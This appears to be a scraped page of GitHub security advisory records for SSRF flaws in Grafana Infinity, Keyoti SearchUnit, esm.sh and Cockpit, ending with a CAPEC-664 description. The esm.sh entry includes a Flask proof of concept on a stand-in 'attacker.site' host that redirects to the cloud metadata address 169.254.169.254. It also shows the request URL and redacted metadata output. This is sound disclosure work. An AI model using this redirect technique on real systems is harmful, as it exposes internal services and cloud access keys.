"url": "https://github.com/grafana/grafana-infinity-datasource/releases/tag/v3.4.1"
},
{
"type": "WEB",
"url": "https://grafana.com/security/security-advisories/cve-2025-8341"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Grafana Infinity Datasource Plugin SSRF Vulnerability"
}
GHSA-3C9C-9W7C-4F9J
Vulnerability from github – Published: 2025-06-10 18:32 – Updated: 2025-06-17 21:32Keyoti SearchUnit prior to 9.0.0. is vulnerable to Server-Side Request Forgery (SSRF) in /Keyoti_SearchEngine_Web_Common/SearchService.svc/GetResults and /Keyoti_SearchEngine_Web_Common/SearchService.svc/GetLocationAndContentCategories. An attacker can specify their own SMB server as the indexDirectory value when making POST requests to the affected components. In doing so an attacker can get the SearchUnit server to read and write configuration and log files from/to the attackers server.
{
"affected": [],
"aliases": [
"CVE-2025-44043"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-10T16:15:40Z",
"severity": "MODERATE"
},
"details": "Keyoti SearchUnit prior to 9.0.0. is vulnerable to Server-Side Request Forgery (SSRF) in /Keyoti_SearchEngine_Web_Common/SearchService.svc/GetResults and /Keyoti_SearchEngine_Web_Common/SearchService.svc/GetLocationAndContentCategories. An attacker can specify their own SMB server as the indexDirectory value when making POST requests to the affected components. In doing so an attacker can get the SearchUnit server to read and write configuration and log files from/to the attackers server.",
"id": "GHSA-3c9c-9w7c-4f9j",
"modified": "2025-06-17T21:32:03Z",
"published": "2025-06-10T18:32:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-44043"
},
{
"type": "WEB",
"url": "https://keyoti.com/products/search/dotNetWeb/HtmlHelp9/?topic=UserGuide/Release%20Notes.htm"
},
{
"type": "WEB",
"url": "https://www.sprocketsecurity.com/blog/cve-alert-cve-2025-44043-cve-2025-44044-the-search-bar-hacks-arent-dead-yet"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-3C9R-837R-QQM4
Vulnerability from github – Published: 2026-02-25 15:19 – Updated: 2026-02-27 20:56Summary
esh.sh is vulnerable to a full-response SSRF, allowing an attacker to retrieve information from internal websites through the vulnerability.
Details
Vulnerable code location: https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/server/router.go#L511
If the internal address has a suffix listed below, the attacker can obtain content from the specified internal address.
eg: https://esm.sh/https://local.site/test.md
".js", ".ts", ".mjs", ".mts", ".jsx", ".tsx", ".cjs", ".cts", ".vue", ".svelte", ".md", ".css"
A 302 redirect can be used to bypass the suffix restriction.
eg: https://esm.sh/https://attacker.site/test.md
https://attacker.site/test.md 302 redirect to http://169.254.169.254/v1.json
PoC
Use Flask to start a server that returns a 302 redirect.
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/test.md')
def redirect_test():
return redirect("http://169.254.169.254/v1.json", code=302)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
Let esh.sh visit this site.
https://esm.sh/https://attacker.site/test.md
Attacker can obtain data from http://169.254.169.254/v1.json.
var t=`<p>{"bgp":{"ipv4":{"my-address":"","my-asn":"","peer-address":"","peer-asn":""},"ipv6":{"my-address":"","my-asn":"","peer-address":"","peer-asn":""}},"hostname":"****","instance-v2-id":"****","instanceid":"****","interfaces":[{"ipv4":{"additional":[],"address":"****","gateway":"****","netmask":"****","routes":[{"netmask":32,"network":"****"}]},"ipv6":{"additional":[],"address":"****","network":"****","prefix":"64"},"mac":"****","network-type":"public"}],"nvidia-driver":[],"public-keys":["****"],"region":{"countrycode":"US","regioncode":"SJC"},"tags":[]}</p>
`,o={},u=t;export{u as default,t as html,o as meta};
Decode the data (redacted) .
{"bgp":{"ipv4":{"my-address":"","my-asn":"","peer-address":"","peer-asn":""},"ipv6":{"my-address":"","my-asn":"","peer-address":"","peer-asn":""}},"hostname":"****","instance-v2-id":"****","instanceid":"****","interfaces":[{"ipv4":{"additional":[],"address":"****","gateway":"****","netmask":"****","routes":[{"netmask":32,"network":"****"}]},"ipv6":{"additional":[],"address":"****","network":"****","prefix":"64"},"mac":"****","network-type":"public"}],"nvidia-driver":[],"public-keys":["****"],"region":{"countrycode":"US","regioncode":"SJC"},"tags":[]}
Impact
An attacker can exploit the vulnerability to access internal sites, and in a cloud environment, can retrieve access keys (AK) and secret keys (SK) by accessing the metadata service address.
Fix
It is recommended to use safeurl.Client as a replacement for http.Client.
https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/internal/fetch/fetch.go#L13
https://github.com/doyensec/safeurl
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/esm-dev/esm.sh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20250616164159-0593516c4cfa"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-50180"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-25T15:19:41Z",
"nvd_published_at": "2026-02-25T16:23:21Z",
"severity": "HIGH"
},
"details": "### Summary\n\nesh.sh is vulnerable to a full-response SSRF, allowing an attacker to retrieve information from internal websites through the vulnerability.\n\n### Details\n\nVulnerable code location: https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/server/router.go#L511\n\nIf the internal address has a suffix listed below, the attacker can obtain content from the specified internal address.\n\neg: https://esm.sh/https://local.site/test.md\n\n```\n\".js\", \".ts\", \".mjs\", \".mts\", \".jsx\", \".tsx\", \".cjs\", \".cts\", \".vue\", \".svelte\", \".md\", \".css\"\n```\n\nA 302 redirect can be used to bypass the suffix restriction.\n\neg: https://esm.sh/https://attacker.site/test.md \n\nhttps://attacker.site/test.md 302 redirect to http://169.254.169.254/v1.json\n\n### PoC\n\nUse Flask to start a server that returns a 302 redirect.\n\n```python\nfrom flask import Flask, redirect\n\napp = Flask(__name__)\n\n@app.route(\u0027/test.md\u0027)\ndef redirect_test():\n return redirect(\"http://169.254.169.254/v1.json\", code=302)\n\nif __name__ == \u0027__main__\u0027:\n app.run(host=\u00270.0.0.0\u0027, port=80)\n```\n\nLet esh.sh visit this site.\n\nhttps://esm.sh/https://attacker.site/test.md\n\nAttacker can obtain data from http://169.254.169.254/v1.json.\n\n```\nvar t=`\u003cp\u003e\u0026lbrace;\u0026quot;bgp\u0026quot;:\u0026lbrace;\u0026quot;ipv4\u0026quot;:\u0026lbrace;\u0026quot;my-address\u0026quot;:\u0026quot;\u0026quot;,\u0026quot;my-asn\u0026quot;:\u0026quot;\u0026quot;,\u0026quot;peer-address\u0026quot;:\u0026quot;\u0026quot;,\u0026quot;peer-asn\u0026quot;:\u0026quot;\u0026quot;\u0026rbrace;,\u0026quot;ipv6\u0026quot;:\u0026lbrace;\u0026quot;my-address\u0026quot;:\u0026quot;\u0026quot;,\u0026quot;my-asn\u0026quot;:\u0026quot;\u0026quot;,\u0026quot;peer-address\u0026quot;:\u0026quot;\u0026quot;,\u0026quot;peer-asn\u0026quot;:\u0026quot;\u0026quot;\u0026rbrace;\u0026rbrace;,\u0026quot;hostname\u0026quot;:\u0026quot;****\u0026quot;,\u0026quot;instance-v2-id\u0026quot;:\u0026quot;****\u0026quot;,\u0026quot;instanceid\u0026quot;:\u0026quot;****\u0026quot;,\u0026quot;interfaces\u0026quot;:[\u0026lbrace;\u0026quot;ipv4\u0026quot;:\u0026lbrace;\u0026quot;additional\u0026quot;:[],\u0026quot;address\u0026quot;:\u0026quot;****\u0026quot;,\u0026quot;gateway\u0026quot;:\u0026quot;****\u0026quot;,\u0026quot;netmask\u0026quot;:\u0026quot;****\u0026quot;,\u0026quot;routes\u0026quot;:[\u0026lbrace;\u0026quot;netmask\u0026quot;:32,\u0026quot;network\u0026quot;:\u0026quot;****\u0026quot;\u0026rbrace;]\u0026rbrace;,\u0026quot;ipv6\u0026quot;:\u0026lbrace;\u0026quot;additional\u0026quot;:[],\u0026quot;address\u0026quot;:\u0026quot;****\u0026quot;,\u0026quot;network\u0026quot;:\u0026quot;****\u0026quot;,\u0026quot;prefix\u0026quot;:\u0026quot;64\u0026quot;\u0026rbrace;,\u0026quot;mac\u0026quot;:\u0026quot;****\u0026quot;,\u0026quot;network-type\u0026quot;:\u0026quot;public\u0026quot;\u0026rbrace;],\u0026quot;nvidia-driver\u0026quot;:[],\u0026quot;public-keys\u0026quot;:[\u0026quot;****\u0026quot;],\u0026quot;region\u0026quot;:\u0026lbrace;\u0026quot;countrycode\u0026quot;:\u0026quot;US\u0026quot;,\u0026quot;regioncode\u0026quot;:\u0026quot;SJC\u0026quot;\u0026rbrace;,\u0026quot;tags\u0026quot;:[]\u0026rbrace;\u003c/p\u003e\n`,o={},u=t;export{u as default,t as html,o as meta};\n```\n\nDecode the data (redacted) .\n\n```json\n{\"bgp\":{\"ipv4\":{\"my-address\":\"\",\"my-asn\":\"\",\"peer-address\":\"\",\"peer-asn\":\"\"},\"ipv6\":{\"my-address\":\"\",\"my-asn\":\"\",\"peer-address\":\"\",\"peer-asn\":\"\"}},\"hostname\":\"****\",\"instance-v2-id\":\"****\",\"instanceid\":\"****\",\"interfaces\":[{\"ipv4\":{\"additional\":[],\"address\":\"****\",\"gateway\":\"****\",\"netmask\":\"****\",\"routes\":[{\"netmask\":32,\"network\":\"****\"}]},\"ipv6\":{\"additional\":[],\"address\":\"****\",\"network\":\"****\",\"prefix\":\"64\"},\"mac\":\"****\",\"network-type\":\"public\"}],\"nvidia-driver\":[],\"public-keys\":[\"****\"],\"region\":{\"countrycode\":\"US\",\"regioncode\":\"SJC\"},\"tags\":[]}\n```\n\n### Impact\n\nAn attacker can exploit the vulnerability to access internal sites, and in a cloud environment, can retrieve access keys (AK) and secret keys (SK) by accessing the metadata service address.\n\n### Fix\n\nIt is recommended to use `safeurl.Client` as a replacement for `http.Client`.\n\nhttps://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/internal/fetch/fetch.go#L13\n\nhttps://github.com/doyensec/safeurl",
"id": "GHSA-3c9r-837r-qqm4",
"modified": "2026-02-27T20:56:15Z",
"published": "2026-02-25T15:19:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-3c9r-837r-qqm4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-50180"
},
{
"type": "WEB",
"url": "https://github.com/esm-dev/esm.sh/pull/1149"
},
{
"type": "WEB",
"url": "https://github.com/esm-dev/esm.sh/commit/0593516c4cfab49ad3b4900416a8432ff2e23eb0"
},
{
"type": "PACKAGE",
"url": "https://github.com/esm-dev/esm.sh"
},
{
"type": "WEB",
"url": "https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/internal/fetch/fetch.go#L13"
},
{
"type": "WEB",
"url": "https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/server/router.go#L511"
},
{
"type": "WEB",
"url": "https://github.com/esm-dev/esm.sh/releases/tag/v137"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "esm.sh is vulnerable to full-response SSRF"
}
GHSA-3CG3-VQJF-X53X
Vulnerability from github – Published: 2022-05-14 03:20 – Updated: 2022-05-14 03:20SSRF (Server Side Request Forgery) in /assets/lib/fuc.js.php in Cockpit 0.4.4 through 0.5.5 allows remote attackers to read arbitrary files or send TCP traffic to intranet hosts via the url parameter. NOTE: this vulnerability exists because of an incomplete fix for CVE-2017-14611, which was about version 0.13.0, which (surprisingly) is an earlier version than 0.4.4.
{
"affected": [],
"aliases": [
"CVE-2018-9302"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-05-02T15:29:00Z",
"severity": "CRITICAL"
},
"details": "SSRF (Server Side Request Forgery) in /assets/lib/fuc.js.php in Cockpit 0.4.4 through 0.5.5 allows remote attackers to read arbitrary files or send TCP traffic to intranet hosts via the url parameter. NOTE: this vulnerability exists because of an incomplete fix for CVE-2017-14611, which was about version 0.13.0, which (surprisingly) is an earlier version than 0.4.4.",
"id": "GHSA-3cg3-vqjf-x53x",
"modified": "2022-05-14T03:20:03Z",
"published": "2022-05-14T03:20:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-9302"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/44567"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2018/May/10"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.